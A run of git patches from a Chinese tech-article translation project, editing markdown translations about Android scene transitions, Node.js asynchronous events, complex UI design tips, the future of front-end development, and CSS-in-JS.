@@ -515,9 +444,7 @@ public class TransitionBuilder{
 }
 ```
 
-Okay, now let’s go to the ShowDetailsTransitionSet, which creates this amazing transition. In the constructor, we pass the Context object, transitionName – this is the one that is created with the position in RecyclerView – the View object that we are transitioning from and the DetailsLayout that we are transitioning to. We also call the *addTransition* method, where we pass the Transition built with TransitionBuilder and returned from a specific method – *textResize(), slide()* and *shared()*.
-
-好了，现在我们可以开始编写 ShowDetailsTransitionSet 了，正是这个类实现了酷炫的转场效果。在构造函数中，我们传递了一个上下文对象，转场名 —— 就是以 RecyclerView 的 item 的位置命名的那个 ，需要转场动画连接的 View 对象。我们还调用了 **addTransition** 方法，通过该方法传递了通过 TransitionBuilder 的具体的方法 —— *textResize(), slide()* 和 *shared()* —— 创建的转场动画。
+好了，现在我们可以开始编写 ShowDetailsTransitionSet 了，正是这个类实现了酷炫的转场效果。在构造函数中，我们传递了一个上下文对象，转场名 —— 就是以 RecyclerView 的 item 的位置命名的那个，转场开始的View对象以及转场结束的DetailsLayout。我们还调用了 **addTransition** 方法，通过该方法传递了通过 TransitionBuilder 的具体的方法 —— *textResize(), slide()* 和 *shared()* —— 创建的转场动画。
 
 ```
 Java
@@ -536,7 +463,7 @@ class ShowDetailsTransitionSet extends TransitionSet{
 
     private final Context context;
 
- 
+
 
     ShowDetailsTransitionSet(final Context ctx,final String transitionName,final View from,final DetailsLayout to){
 
@@ -556,7 +483,7 @@ class ShowDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private String titleTransitionName(){
 
@@ -564,7 +491,7 @@ class ShowDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private String cardViewTransitionName(){
 
@@ -572,7 +499,7 @@ class ShowDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private Transition textResize(){
 
@@ -584,7 +511,7 @@ class ShowDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private Transition slide(){
 
@@ -600,7 +527,7 @@ class ShowDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private Transition shared(){
 
@@ -617,21 +544,13 @@ class ShowDetailsTransitionSet extends TransitionSet{
 }
 ```
 
-So, recapping and describing everything above:
-
 所以，总结一下上面做的事情。
 
-1. RecyclerView’s item’s title is animated as a SharedElementTransition with [TextResize](https://github.com/googlesamples/android-unsplash/blob/master/app/src/main/java/com/example/android/unsplash/transition/TextResize.java) transition (it is a specific case, which is well described in this [video](https://www.youtube.com/watch?v=4L4fLrWDvAU)).
+1. 让RecyclerView item 的标题执行了 SharedElementTransition 中的 [TextResize](https://github.com/googlesamples/android-unsplash/blob/master/app/src/main/java/com/example/android/unsplash/transition/TextResize.java)  动画（这是一个特定的项目,[这里](https://www.youtube.com/watch?v=4L4fLrWDvAU)有详细解释）。
 
-让RecyclerView item 的标题执行了 SharedElementTransition 中的 [TextResize](https://github.com/googlesamples/android-unsplash/blob/master/app/src/main/java/com/example/android/unsplash/transition/TextResize.java)  动画（这是一个特定的项目,[这里](https://www.youtube.com/watch?v=4L4fLrWDvAU)有详细解释）。
+2. 整个布局执行了一个滑动的转场动画，实现了某种意义上的延迟加载。
 
-2. The whole layout has a custom slide transition, implemented with some of kind start delay for a specific child.
-
-整个布局执行了一个滑动的转场动画，实现了某种意义上的延迟加载。
-
-3. The RecyclerView’s item’s header and container have SharedElementTransition implemented with a Move transition – the default transition for Android’s framework.
-
-RecycleView 的item 的标题和内容通过 实现SharedElementTransition 有了一个转场动画 —— 默认使用的 android 自身的框架
+3. RecycleView 的item 的标题和内容有一个共享元素转场动画（Shared Element Transition），它实现了Android 框架默认的转场动画 —— Move transition。
 ```
 XHTML
 
@@ -657,7 +576,7 @@ XHTML
 
     </slide>
 
- 
+
 
     <slide
 
@@ -675,7 +594,7 @@ XHTML
 
     </slide>
 
- 
+
 
     <fade
 
@@ -691,7 +610,7 @@ XHTML
 
     </fade>
 
- 
+
 
     <slide
 
@@ -712,23 +631,15 @@ XHTML
 </transitionSet>
 ```
 
-With this set of different transitions we are able to create this “enter transition” for our layout:
-
 通过这些不同的转场动画，我们就可以为我们的布局创建进入的效果
 ！
 
 [](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)
 
-Looks awesome to me! But what about a returning scene? Look below!
-
 在我看起来真是碉堡了！但是返回怎么办呢？看下面。
 
-## RETURNING TO THE PREVIOUS Scene AND HANDLING *onBackPress* ##
-
 ## 返回上一步场景，处理 **onBackPress**
 
-As you can remember, we have two methods in  DetailsLayout 中 – *showScene* and *hideScene.* We’ve just covered the first method, but what’s with the second method? Let’s cover it too!
-
 如果你还记得的话，我们在 DetailsLayout 中写了两个方法 —— *showScene* 和 *hideScene*。我们已经写了第一个方法，但是第二个方法是什么样的呢？让我们继续把它也写完吧。
 
 ```
@@ -736,7 +647,7 @@ public static Scene hideScene(Activity activity,final ViewGroup container,final
 
     DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);
 
- 
+
 
     TransitionSet set=newHideDetailsTransitionSet(activity,transitionName,sharedView,detailsLayout);
 
@@ -749,8 +660,6 @@ public static Scene hideScene(Activity activity,final ViewGroup container,final
 }
 ```
 
-Now, there are few changes. We’ve added the DetailsLayout to DetailsFragment’s container (the FrameLayout mentioned before). So, to obtain DetailsLayout, we have to call *findViewById* on this container. Then, we have to create the TransitionSet with specific targets and specified settings. For this purpose, I’ve also written another class which inherits from TransitionSet – HideDetailsTransitionSet. This is how it looks:
-
 现在，有一些小的改变。既然在 DetailsFragment 容器(之前提到的那个 FrameLayout) 上面添加了一个 DetailsLayout ，所以为了获得 DetailsLayout，我们还得在容器里调用 **findViewById**。然后我们必须创建特定的对象和转场，编写特定的设置。为此，我也写了另一个类来继承 TransitionSet —— HideDetailsTransitionSet。它看起来像是这个样子的：
 
 ```
@@ -770,7 +679,7 @@ class HideDetailsTransitionSet extends TransitionSet{
 
     private final Context context;
 
- 
+
 
     HideDetailsTransitionSet(final Context ctx,final String transitionName,final View from,final DetailsLayout to){
 
@@ -788,7 +697,7 @@ class HideDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private String titleTransitionName(){
 
@@ -796,7 +705,7 @@ class HideDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private String cardViewTransitionName(){
 
@@ -804,7 +713,7 @@ class HideDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private Transition textResize(){
 
@@ -816,7 +725,7 @@ class HideDetailsTransitionSet extends TransitionSet{
 
     }
 
- 
+
 
     private Transition shared(){
 
@@ -833,32 +742,18 @@ class HideDetailsTransitionSet extends TransitionSet{
 }
 ```
 
-In this case, we have *textResize**()* and *shared()* transitions once again. If you look closely at both methods, you will see that this TranstionBuilder has method *link()*. This method takes three parameters – sourceView, targetView and transitionName. It simply puts transitionName on sourceView and targetView, as well as placing it as a target on Transition object. So it’s used to “link” two views for Shared Element Transition.
-
 在这个项目，我们又一次编写了 **textResize()** 和 **shared()** 。如果你仔细检查两个方法的话，你会发现 TranstionBuilder 有 **link()**
  方法。这种方法接收了3个参数 —— 源头 view、目标 view 和动画名字。它把转场动画的名字添加给了 源头 View 和目标 view，就像把它指定到了一个转场对象上。所以它用来“连接（link）” 两个view。
- 
-The rest looks the same. We create the Scene object, call TransitionManager*.go()* and voila! We have returned to the previous state!
 
 剩下的部分就一样啦，我们又创建了一个场景对象，调用 TransitionManager.**go()** 然后哈利路亚~我们就可以返回之前的状态了。
 
- 
-
-## CONCLUSION ##
-
 ## 结语
 
-As we can see – the sky’s the limit! We are able to create meaningful transitions with activities, fragments and even the layouts! Scenes and Transitions are really powerful and can really improve the UI and UX. What are the benefits from this solution? First of all, we don’t have another lifecycle to care about.  Secondly, there are some libraries that help us to create “fragmentless” UI. Applied with Scenes and Transitions, we can develop a pretty nice app. Thirdly, this approach is really rare, however, I think it’s giving us more control.
-
-如我们所见 —— 天空才是我们的极限。我们可以创造有意义的转场动画连接 activity、fragment 甚至是 layout。场景和转场动画十分流弊，增进了用户界面和 用户体验。这种解决方案有什么好处呢？首先，我们不需要在关注另一个生命周期。其次，有许多第三方的库帮我们创建不需要 fragment 的用户界面。通过部署场景和转场动画，我们开发了一个非常不错的 app。第三，该方案很少见，但是确实让我们能更多的控制效果的实现。
-
-That’s all folks! Thank you very much for reading my series of posts, I hope you liked it!
+如我们所见 —— 思考永无止境（the sky’s the limit）！我们可以为 activities、fragments 甚至 layouts 创造有意义的转场动画。场景和转场动画十分流弊，增进了用户界面和 用户体验。这种解决方案有什么好处呢？首先，我们不需要在关注另一个生命周期。其次，有许多第三方的库帮我们创建不需要 fragment 的用户界面。通过部署场景和转场动画，我们可以开发出一个非常不错的 app。第三，该方案很少见，但是确实让我们能更多的控制效果的实现。
 
 就这么多了。非常感谢阅读这一系列的文章，希望你喜欢它！
 
-See you soon!
-
-铁甲依然在！
+铁甲依然在！（译者：咳咳，原文是 see you sonn）
 
 Mariusz Brona aka panwrona
 

From c27f3e6e96641d5447647a0ee49b539399182642 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Thu, 1 Jun 2017 15:19:52 +0800
Subject: [PATCH 575/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=EF=BC=9A#6=20Asynchr?=
 =?UTF-8?q?onous=20Events?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../understanding-node-js-event-driven-architecture.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index ab32d65ed89..b94b54ab539 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -270,9 +270,9 @@ After executing
 
 使用事件驱动来代替传统 callback 有一个好处是：在定义多个 listener 后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许围绕状态变化来做更多自定义的事。
 
-#### Asynchronous Events ####
+#### 异步事件 ####
 
-我们把刚刚的例子修改一下，在同步代码中加入一点异步代码，让它更有意思一点：
+我们把刚刚的例子修改一下，将同步改为异步方式，让它更有意思一点：
 
 ```js
 const fs = require('fs');
@@ -303,7 +303,7 @@ withTime.execute(fs.readFile, __filename);
 ```
 
 
-执行 WithTime 类的 asyncFunc 方法，使用 console.time 和 console.timeEnd 来返回执行的时间，他 emit 了正确的序列在执行之前和之后，同样 emit error/data 来保证函数的正常工作。
+WithTime 类执行 `asyncFunc` 函数，使用 `console.time` 和 `console.timeEnd` 来返回执行的时间，它 emit 了正确的序列在执行之前和之后，同样 emit error/data 来保证函数的正常工作。
 
 执行之后的结果如下，正如我们期待的正确事件序列，我们得到了执行的时间，这是很有用的：
 
@@ -313,7 +313,7 @@ execute: 4.507ms
 Done with execute
 ```
 
-请注意，我们如何结合一个 callback 在事件发射器上完成它，如果 asynFunc 同样支持 Promise 的话，我们可以使用 async/await 特性来做到同样的事情：
+请注意，注意我们如何将回调函数与事件发生器结合来完成的，如果 `asynFunc` 同样支持 Promise 的话，我们可以使用 `async/await` 特性来做到同样的事情：
 
 ```js
 class WithTime extends EventEmitter {
@@ -332,7 +332,7 @@ class WithTime extends EventEmitter {
 }
 ```
 
-这真的看起来更易读了呢！用async/await真的是我们的coding越来越接近JavaScript语言的一大进步。
+这真的看起来更易读了呢！`async/await` 特性使我们的代码更加贴近 JavaScript 本身, 我认为这是一大进步。
 
 #### Events Arguments and Errors ####
 

From c08012269626890f4834600c1ba7bf51855f803a Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
Date: Thu, 1 Jun 2017 14:02:02 +0200
Subject: [PATCH 576/638] =?UTF-8?q?(add):=20=E5=A2=9E=E5=8A=A0=E5=88=9D?=
 =?UTF-8?q?=E7=A8=BF=E7=BF=BB=E8=AF=91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...mind-while-developing-complex-ui-in-web.md | 64 +++++++++----------
 1 file changed, 32 insertions(+), 32 deletions(-)

diff --git a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
index 3ac0d448c74..723d23549b0 100644
--- a/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
+++ b/TODO/tips-to-keep-in-mind-while-developing-complex-ui-in-web.md
@@ -1,52 +1,52 @@
 > * 原文地址：[How to build complex user interfaces without going completely insane](https://medium.freecodecamp.com/3-tips-to-keep-in-mind-while-developing-complex-ui-in-web-b56312310390)
 > * 原文作者：[Illia Kolodiazhnyi](https://medium.freecodecamp.com/@iktash88)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[Changkun Ou](https://github.com/changkun/)
 > * 校对者：
 
-# How to build complex user interfaces without going completely insane #
+# 如何不失理智的构建复杂用户界面 #
 
 ![](https://cdn-images-1.medium.com/max/2000/1*jwBhYQ_c_HZ_OOCE4pwbwQ.jpeg)
 
-I recently built a web application with a complex, dynamic User Interface (UI). Along the way, I learned several valuable lessons.
+我最近在构建一个复杂、动态地 Web 应用的用户界面（UI）。在这条路上，我学到了一些宝贵的经验教训。
 
-Here are a few tips I wish someone had told me before I embarked on such an ambitious project. These would have saved me so much time and sanity.
+下面的这些技巧是我希望有人能够在当我开始这样一个雄心勃勃的项目之前能告诉我的。这将为我节省时间和精力。
 
-### Sanity Tip #1: Use a component’s internal state for storing temporary data ###
+### 理智意见 #1: 使用组件的内部状态存储临时数据 ###
 
-A complex UI usually requires you to maintain some sort of application state. This tells the UI what to display and how to display it. One option is to access that state as soon as the user triggers an action on the page. However, I’ve learned there are situations where it’s beneficial to postpone the change in the application state and save this change temporarily in the current component’s internal state.
+复杂的UI通常需要你维护某种应用程序状态。这将告诉 UI 显示什么内容以及如何显示它们。 一个选择是当用户触发页面里的某个行为时候，立即访问这个状态。然而据我了解，推迟改变这个应用的状态、保存当前组件临时更改的内部状态会更好。
 
-An example to illustrate this is a dialog window for the user to edit some record, such as his or her name:
+举个例子，这个对话框能够让用户编辑某些记录数据，比如他（她）的名字：
 
 ![](https://cdn-images-1.medium.com/max/800/1*bFb-8Zdzf1aGPJyWpD_hsg.jpeg)
 
-In this case, you might want to trigger a change every time the user edits a field in this dialog window. But I encourage you to maintain an internal state of this dialog with all the data displayed. Wait until the user presses the Save button. At this point, you can safely change the application state that holds the data of those records.
+这时，你可能想要让用户每次编辑这个对话框时触发修改。但是，我的建议是使用显示的所有数据来维护此对话框的内部状态，直到用户按下保存按钮。 此时，您可以安全地更改保存这些记录数据的应用程序状态。
 
-That way, if the user decides to discard the change and close the dialog window, you can drop the component. Then the application state stays intact. If you need to send the data to the back end, you can do it in one request. If the same list is available to other users, they won’t see the temporary values while someone is editing it.
+这样，如果用户决定放弃更改并关闭对话窗口，则可以直接删除组件，这时应用程序状态保持不变。 如果你需要将数据发送到后端，便可以在一个请求中进行。 如果这些数据对其他用户同时可用，那么当他们编辑这些数据时也将不会看到这些临时值。
 
-> Your UI behavior should match the user’s mental model
+> 你的 UI 行为应该匹配用户的心理模型
 
-When users work with a dialog box, they won’t consider the record completed until they finish editing it. The component’s functionality should work exactly like this.
+当用户使用对话框时，他们通常会认为这些记录在完成编辑之前是不会被保存的。组件的功能也应该匹配这种行为。
 
-*Note to those working with React/Redux:* this behavior is achievable if you keep the general data in the Redux Store and use React Component state to store temporary pieces of data.
+**使用 React / Redux 的人请注意**：将一般数据保存在 Redix Store 并使用 React 组件状态来存储这些临时数据的这种行为是可用的。
 
-### Sanity Tip #2: Separate model data from UI state ###
+### 理智意见 #2: 从 UI 状态中分离模型数据 ###
 
-*I’m using the term* ***model*** *here referring to the classic entity from the MVC pattern.*
+**下文中的术语「模型」指代 MVC 设计模式中的模型。**
 
-Modern UI in web applications can be complex in structure and behavior. This generally leads you to store the purely UI-related data in your application state. I recommend that you keep UI-related data and business data separate.
+Web 应用程序中的现代 UI 在结构和行为上可能很复杂。这通常会导致你将纯粹的与 UI 相关的数据存储在应用程序状态之中。我的建议是将 UI 相关数据和业务数据分离。
 
-> Store models with business data and logic separately from the UI state
+> 将 UI 状态中的业务数据和逻辑的分别存储在不同模型之中
 
-This approach is easier to follow and understand since it separates business logic from everything else. Your models can hold both the data as well as the methods (functions, means) to handle this data. Otherwise, your application will probably end up with business logic spread across multiple places, most likely *View* components.
+这种方法很容易遵循和理解，因为想它让你把业务逻辑与其他一切分离开来。这样你的模型可以同时保存这些数据和方法（函数）进而处理这些数据。 否则，你的应用程序可能最终会跨越多个地方穿插业务逻辑，其中最有可能是 **View** 组件。
 
-For example, you have a list of to-do tasks in your application and you implement a page to add a new task to that list. You want the Save button to be disabled until there’s both a description explaining the task and a properly formatted date for the task:
+例如，你有一个应用程序中待办事宜的列表，并实现一个页面来添加一个新的任务到该列表。 现在你需要在任务描述、任务日期的格式合法之前，禁用「保存」按钮：
 
 ![](https://cdn-images-1.medium.com/max/800/1*Cqmpew82Wo_znz_lCYz3xQ.jpeg)
 
-The naive way would be to store the needed data somewhere in the application state and have code like `const saveButtonDisabled = !description && !date && !dateIsValid(date)` right in your *View* component. But the problem is that the Save button is disabled because there is a *business requirement* to have all records with descriptions and proper dates.
+普通的做法是是将需要的数据存储在应用程序状态的某处，并在 **View** 组件中编写这样的代码：`const saveButtonDisabled = !description && !date && !dateIsValid(date)`。 但问题就出在保存按钮被禁用了，因为**业务要求**必须输入所有的描述以及有效的日期。
 
-So in this case the logic for disabling the button should be put in the *model* for the to-do task. That model can look like this:
+因此，在这种情况下，禁用按钮的逻辑应该放在待执行任务的**模型**中。 该模型可以如下表示：
 
 ```
 {
@@ -58,29 +58,29 @@ So in this case the logic for disabling the button should be put in the *model*
 }
 ```
 
-And now you can use this for your UI logic `const saveButtonDisabled = !task.isValid()` in the *View* component.
+现在，你可以在 **View** 组件中为你的 UI 逻辑使用`const saveButtonDisabled =！task.isValid()`了。
 
-As you can see, this tip is basically about keeping your *Models* separate from *Views* in the MVC pattern.
+正如你所看到的，这个提示基本上是关于讨论如何保持你的**模型**与MVC模式中的**视图**进行分离。
 
-### Sanity Tip #3: Prioritize integration testing over unit testing ###
+### 理智意见 #3: 优先考虑集成测试而不是单元测试 ###
 
-This is not an issue if you’re lucky enough to work in an environment where you have time to write multiple tests for every feature. But I’m sure this is not the case for most of us. Usually you have to decide which kind of testing to use. **The majority of time I would consider integration testing more valuable than unit testing**.
+如果您有足够的时间在有时间为每个功能编写多个测试的环境中工作，这将不是问题。但我相信，大多数人并非如此。通常，你必须决定使用哪种测试。**而我大多数时候会考虑集成测试，它比单元测试更有价值。**
 
 ![](https://cdn-images-1.medium.com/max/800/1*dsj6MNERxdJtcr5-I7W2vQ.jpeg)
 
-In my experience, I’ve learned that the codebase with good unit test coverage is generally more error-prone than the one with good integration test coverage. I noticed that the majority of bugs introduced with developing work are [regression bugs](https://en.wikipedia.org/wiki/Software_regression). And unit tests are usually not very good in catching those.
+依我的经验，我了解到：具有良好的单元测试覆盖率的代码库通常比具有良好集成测试覆盖率的代码更容易出错。我注意到开发工作引入的大多数错误都是[软件回归错误 (regression bug)](https://en.wikipedia.org/wiki/Software_regression)。 单元测试通常不能很好地捕捉到这些问题。
 
-When you are fixing a problem in the code, I would encourage you to follow these simple steps:
+当你在代码中修复问题时，我建议您按照以下简单步骤操作：
 
-1. Write a test that fails due to the existing problem. If it can be done with a unit test, great. Otherwise, make the test touch as many code modules as necessary.
-2. Fix the problem in the codebase.
-3. Verify that the test is not failing anymore.
+1. 写出由于现有问题而导致失败的测试。如果可以通过单元测试完成，这很好。否则，就根据需要使测试接触许多代码模块。
+2. 在代码库中解决问题。
+3. 验证测试不会失败。
 
-This simple practice ensures that the problem is fixed and it won’t occur again, as the test will verify it.
+这个简单的做法确保问题是固定且不会再发生的，因为从此之后测试将验证它。
 
-Modern web applications present many challenges to developers and UI development is one of them. I hope this article helps you to avoid mistakes or give you a good topic to think about and discuss.
+现代 Web 应用程序对开发人员提出了许多挑战，UI 开发也是其中之一。 我希望本文可以帮助你避免一些错误，或者给你提供一个很好的话题来进一步思考和讨论。
 
-I would highly appreciate reading your thoughts and discoveries in the comments.
+如果能在评论中看到你对此话题的想法和发现，我将非常感激。
 
 ---
 

From ce33691be491523b5061e6a7ce39f946cb40fd79 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Thu, 1 Jun 2017 22:03:42 +0800
Subject: [PATCH 577/638] Create future-front-end-web-development.md

---
 TODO/future-front-end-web-development.md | 148 +++++++++++++++++++++++
 1 file changed, 148 insertions(+)
 create mode 100644 TODO/future-front-end-web-development.md

diff --git a/TODO/future-front-end-web-development.md b/TODO/future-front-end-web-development.md
new file mode 100644
index 00000000000..c36dcc9d5fb
--- /dev/null
+++ b/TODO/future-front-end-web-development.md
@@ -0,0 +1,148 @@
+> * 原文地址：[What is the Future of Front End Web Development?](https://css-tricks.com/future-front-end-web-development/)
+> * 原文作者：[Chris Coyier](https://css-tricks.com/author/chriscoyier/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+I was asked to do a little session on this the other day. I'd say I'm
+underqualified to answer the question, as is any single person. If you really
+needed hard answers to this question, you'd probably look to aggregate data of
+survey results from lots of developers.
+
+I am a _little_ qualified though. Aside from running this site which requires
+me to think about front end development every day and exposes me to lots of
+conversations about front end development, I am an active developer myself. I
+work on CodePen, which is quite a hive of front end developers. I also talk
+about it every week on ShopTalk Show with a wide variety of guests, and I get
+to travel all around going to conferences largely focused on front end
+development.
+
+So let me take a stab at it.
+
+Again, disclaimers:
+
+  1. This is non-comprehensive
+  2. These are just loose guesses
+  3. I'm just one dude
+
+### User expectations on the rise.
+
+This sets the stage:
+
+What websites are being asked to do is rising. Developers are being asked to
+build very complicated things very quickly and have them work very well and
+very fast.
+
+### New JavaScript is here.
+
+As fabulous as jQuery was for us, it's over for new development. And I don't
+just mean ES6+ has us covered now, but that's true. We got ourselves into
+trouble by working with the DOM too directly and treating it like like a state
+store. As I opened with, user expectations, and thus complexity, are on the
+rise. We need to manage that complexity.
+
+**State** is the big concept, as [we talked about](https://css-tricks.com/project-need-react/). Websites will be built by thinking of what state needs to be managed, then building the right stores for that state.
+
+The new frameworks are here. Ember, React, Vue, Angular, Svelte, whatever.
+They accommodate the idea of working with state, components, and handling the
+DOM for us.
+
+Now they can compete on speed, features, and API niceity.
+
+TypeScript also seems like a long-term winner because it can work with
+whatever and brings stability and a better editor experience for developers.
+
+### We're not building pages, we're building systems.
+
+Style guides. Design systems. Pattern libraries. These things are becoming a
+standard part of the process for web projects. They will probably become the
+main deliverable. A system can build whatever is needed. The concept of
+"pages" is going away. Components are pieced together to build what users see.
+That piecing together can be done by UX folks, interaction designers, even
+marketing.
+
+New JavaScript accommodates this very well.
+
+### The line between native and web is blurring.
+
+Which is better, Sketch or Figma? We judge them by their features, not by the
+fact that one is a native app and one is a web app. Should I use the Slack or
+TweetDeck native app, or just open a tab? It's identical either way. Sometimes
+a web app is so good, I wish it was native just so it could be an icon in my
+dock and have persistent login, so I use things like Mailplane for Gmail and
+Paws for Trello.
+
+I regularly use apps that seem like they would _need_ to be native apps, but
+turn to be just as good or better on the web. Just looking at audio/video
+apps, Skype has a full-featured app, Lightstream is a full-on livestreaming
+studio, and Zencaster can record multi-track high-quality audio. All of those
+are right in the browser.
+
+Those are just examples of _doing a good job_ on the web. Web technology
+itself is stepping up hugely here as well. Service workers give us important
+things like offline ability and push notifications. Web Audio API. Web
+Payments API. The web should become the dominant platform for building apps.
+
+Users will use things that are good, and not consider or care how it was
+built.
+
+### URLs are still a killer feature.
+
+The web really got this one right. Having a universal way to jump right to
+looking at a specific thing is incredible. URLs make search engines possible,
+potentially one of the most important human innovations ever. URLs makes
+sharing and bookmarking possible. URLs are a level playing field for
+marketing. Anybody can visit a URL, there is no gatekeeper.
+
+### Performance is a key player.
+
+Tolerance for poorly performing websites is going to go down. Everyone will
+expect everything to be near-instant. Sites that aren't will be embarrassing.
+
+### CSS will get much more modular.
+
+When we write styles, we will always make a choice. Is this a global style? Am
+I, on purpose, leaking this style across the entire site? Or, am I writing CSS
+that is specific to this component? CSS will be split in half between these
+two. Component-specific styles will be scoped and bundled with the component
+and used as needed.
+
+### CSS preprocessing will slowly fade away.
+
+Many of the killer features of preprocessors have already made it into CSS
+(variables), or can be handled better by more advanced build processes
+(imports). The tools that we'll ultimately use to modularize and scope our CSS
+are still, in a sense, CSS preprocessors, so they may take over the job of
+whatever is left of preprocessing necessity. Of the standard set of current
+preprocessors, I would think the main one we will miss is mixins. If native
+CSS stepped up to implement mixins (maybe @apply) and extends (maybe @extend),
+that would quicken the deprecation of today's crop of preprocessors.
+
+### Being good at HTML and CSS remains vital.
+
+The way HTML is constructed and how it ends up in the DOM will continue to
+change. But you'll still need to know what good HTML looks like. You'll need
+to know how to structure HTML in such a way that is useful for you, accessible
+for users, and accomodating to styling.
+
+The way CSS lands in the browser and how it is applied will continue to
+change, but you'll still need to how to use it. You'll need to know how to
+accomplish layouts, manage spacing, adjust typography, and be tasteful, as we
+always have.
+
+### Build processes will get competitive.
+
+Because performance matters so much and there is so much opportunity to get
+clever with performance, we'll see innovation in getting our code bases to
+production. Tools like webpack (tree shaking, code splitting) are already
+doing a lot here, but there is plenty of room to let automated tools work
+magic on how our code ultimately gets shipped to browsers. Optimizing first
+payloads. Shipping assets in order of how critical they are. Deciding what
+gets sent where and how. Shipping nothing whatsoever that isn't used.
+
+As the web platform evolves (e.g. Client Hints), build processes will adjust
+and best practices will evolve with it, like they always have.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 52fe9d8f09e15c8adcffb34531d1c77191d04998 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Thu, 1 Jun 2017 22:18:24 +0800
Subject: [PATCH 578/638] Create  a-unified-styling-language.md

---
 TODO/a-unified-styling-language.md | 545 +++++++++++++++++++++++++++++
 1 file changed, 545 insertions(+)
 create mode 100644 TODO/a-unified-styling-language.md

diff --git a/TODO/a-unified-styling-language.md b/TODO/a-unified-styling-language.md
new file mode 100644
index 00000000000..8437935f6aa
--- /dev/null
+++ b/TODO/a-unified-styling-language.md
@@ -0,0 +1,545 @@
+> * 原文地址：[A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
+> * 原文作者：[Mark Dalgleish](https://medium.com/@markdalgleish)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# A Unified Styling Language
+
+In the past few years we’ve seen the rise of [CSS-in-JS](https://github.com/MicheleBertoli/css-in-js), emerging primarily from within the [React](https://facebook.github.io/react) community. This, of course, hasn’t been without its controversies. Many people, particularly those already intimately familiar with CSS, have looked on in disbelief.
+
+> “Why would anyone want to write CSS in JS?
+
+> Surely this is a terrible idea!
+
+> If only they’d learn CSS!”
+
+If this was your reaction, then read on. We’re going to take a look at why writing your styles in JavaScript isn’t such a terrible idea after all, and why I think you should be keeping an eye on this rapidly evolving space.
+
+![](https://cdn-images-1.medium.com/max/2000/1*Ipu5Grtzr21suPiTfvGXaw.png)
+
+### Misunderstood communities
+
+The React community is often misunderstood by the CSS community, and vice versa. This is particularly interesting for me, as I’m caught somewhere between these two worlds.
+
+I started learning HTML in the late nineties, and I’ve been working with CSS professionally since the dark ages of table-based layouts. Inspired by [CSS Zen Garden](http://www.csszengarden.com), I was on the front lines of migrating existing codebases towards [semantic markup](https://en.wikipedia.org/wiki/Semantic_HTML) and cascading style sheets. It wasn’t long after this that I became obsessed with separating our concerns, using [unobtrusive JavaScript](https://www.w3.org/wiki/The_principles_of_unobtrusive_JavaScript) to decorate our server-rendered markup with client-side interactions. There was a small but vibrant community surrounding these practices, and we became the first generation of front-end developers, trying to give the browser platform the respect it deserved.
+
+With a web-focused background like this, you might imagine that I’d be vehemently opposed to React’s [_HTML-in-JS_](https://facebook.github.io/react/docs/jsx-in-depth.html) model, which seemingly goes against the principles we held so dear—but in fact, it’s quite the opposite. In my experience, React’s component model, coupled with its ability to render server-side, finally gives us a way to build complex single-page apps at scale, in a way that still allows us to ship fast, accessible, progressively enhanced products to our users. We’ve even leveraged this ability here at [SEEK](https://www.seek.com.au), our flagship product being a single-page React app where the core search flow still works when JavaScript is disabled—gracefully degrading to a traditional web site by running the same JavaScript code on the server.
+
+So, consider this an olive branch from one community to another. Together, let’s try and understand what this movement is all about. It might not be _perfect,_ it might not be something you plan to use in your products, it might not even be terribly convincing for you—but it’s at least worth trying to wrap your head around.
+
+### Why CSS-in-JS?
+
+If you’re familiar with my recent work with React and [CSS Modules](https://github.com/css-modules/css-modules), you may be surprised to see me defending CSS-in-JS.
+
